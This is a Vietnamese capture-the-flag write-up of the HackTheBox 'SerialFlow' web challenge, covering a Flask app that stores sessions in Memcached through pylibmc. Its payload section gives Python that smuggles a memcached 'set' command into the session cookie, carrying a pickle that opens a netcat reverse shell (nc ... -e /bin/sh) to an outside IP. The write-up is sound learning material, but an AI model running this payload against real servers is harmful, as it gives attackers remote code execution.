Giới thiệu
Tôi vừa cùng các đồng đội tham gia sự kiện Hackthebox Apocalypse 2024. Dù sự kiện mở vào cuối tuần nhưng không có nhiều người tham gia, và cuối cùng chúng tôi quyết định tham gia khi sự kiện đã kết thúc và được mở lại. Tại đây, có một challenge khá kỳ lạ mang tên Web SerialFlow, và tôi muốn chia sẻ với mọi người.
Thông Tin Challenge
Challenge này có thể tải về tại đây.
Mô Tả Challenge
SerialFlow là mạng lưới toàn cầu chính được sử dụng bởi KORP. Bạn đã quản lý để tiếp cận giao diện web của server root bằng cách vượt qua mạng lưới proxy bên ngoài của KORP. Liệu bạn có thể xâm nhập vào server root và khai thác bí mật đằng sau KORP?
Độ Khó
Mức độ: Trung bình
Tổng Quan Về Challenge
Sau khi tải source code về, cấu trúc thư mục sẽ như sau:
CTF/cyber-apocalypse-2024/web_serialflow
➜ tree .
.
├── build-docker.sh
├── challenge
│ ├── application
│ │ ├── app.py
│ │ └── templates
│ │ └── index.html
│ ├── requirements.txt
│ └── run.py
├── conf
│ └── supervisord.conf
├── Dockerfile
├── entrypoint.sh
└── flag.txt
5 directories, 9 files
Chỉ cần chạy ./build-docker.sh
, script sẽ tự động thiết lập môi trường. Sau khi chạy xong, website sẽ được khởi động tại http://localhost:1337/
với một giao diện người dùng rất chất lượng được viết bằng JavaScript.
Phân Tích Source Code
Đọc sơ qua source code, ta thấy ứng dụng được lập trình bằng Python Flask và sử dụng các package cần thiết:
RUN apk update && apk add --no-cache --update memcached libmemcached-dev zlib-dev build-base supervisor
Các thư viện Python bao gồm:
Flask==2.2.2
Flask-Session==0.4.0
pylibmc==1.6.3
Werkzeug==2.2.2
Config của Supervisor như sau:
[supervisord]
user=root
nodaemon=true
logfile=/dev/null
logfile_maxbytes=0
pidfile=/run/supervisord.pid
[program:flask]
command=python /app/run.py
user=root
autorestart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0
[program:memcached]
command=memcached -u memcache -m 64
user=memcached
autorestart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0
Phân Tích Chi Tiết
Trong app Flask, Memcached được dùng để lưu trữ session với mã như sau:
python
app = Flask(__name__)
app.secret_key = uuid.uuid4()
app.config["SESSION_TYPE"] = "memcached"
app.config["SESSION_MEMCACHED"] = pylibmc.Client(["127.0.0.1:11211"])
Session(app)
Memcached giúp cải thiện hiệu suất ứng dụng, giảm thời gian phản hồi và dễ dàng quản lý bộ nhớ. Tuy nhiên, trong quá trình làm bài, tôi đã thử tấn công SSTI bằng biến uicolor
nhưng không thành công.
Khai Thác Lỗ Hổng
Sau khi tham khảo bài viết về lỗ hổng RCE trong pylibmc
, tôi nhận thấy challenge này rất giống với ví dụ trong bài viết đó. Cụ thể, phần mở session sử dụng pickle mà không có biện pháp bảo vệ nào khiến ta có thể thực hiện RCE.
Thiết Kế Payload
Để tạo payload, tôi đã viết đoạn mã Python như sau:
python
import pickle
import os
class RCE:
def __reduce__(self):
cmd = ('nc 172.30.58.249 12312 -e /bin/sh')
return os.system, (cmd,)
def generate_exploit():
payload = pickle.dumps(RCE(), 0)
payload_size = len(payload)
cookie = b'1\r\nset 1 0 2592000 '
cookie += str.encode(str(payload_size))
cookie += str.encode('\r\n')
cookie += payload
cookie += str.encode('\r\n')
cookie += str.encode('get 1')
pack = ''
for x in list(cookie):
if x > 64:
pack += oct(x).replace("0o","\\")
elif x < 8:
pack += oct(x).replace("0o","\\00")
else:
pack += oct(x).replace("0o","\\0")
return f"\"{pack}\""
x = generate_exploit()
print(x)
Gửi Payload và Thực Thi
Cuối cùng, ta gửi payload vào request để kích hoạt RCE. Hãy nhớ rằng cần hai lần gửi request liên tiếp: một lần để set payload vào Memcached và một lần để Flask đọc session.
Lưu Ý
Có thể bật chế độ debug cho Memcached để kiểm tra nội dung lưu trữ bên trong bằng cách chỉnh sửa file supervisor.conf
và thêm tùy chọn -vvv
cho memcached.
Kết Luận
Challenge này không chỉ giúp tôi hiểu rõ hơn về lỗ hổng Memcached mà còn khơi dậy niềm đam mê trong lĩnh vực bảo mật ứng dụng web. Hy vọng bài viết sẽ hữu ích cho những ai cùng quan tâm đến bảo mật và giải quyết các kỹ năng CTF.
source: viblo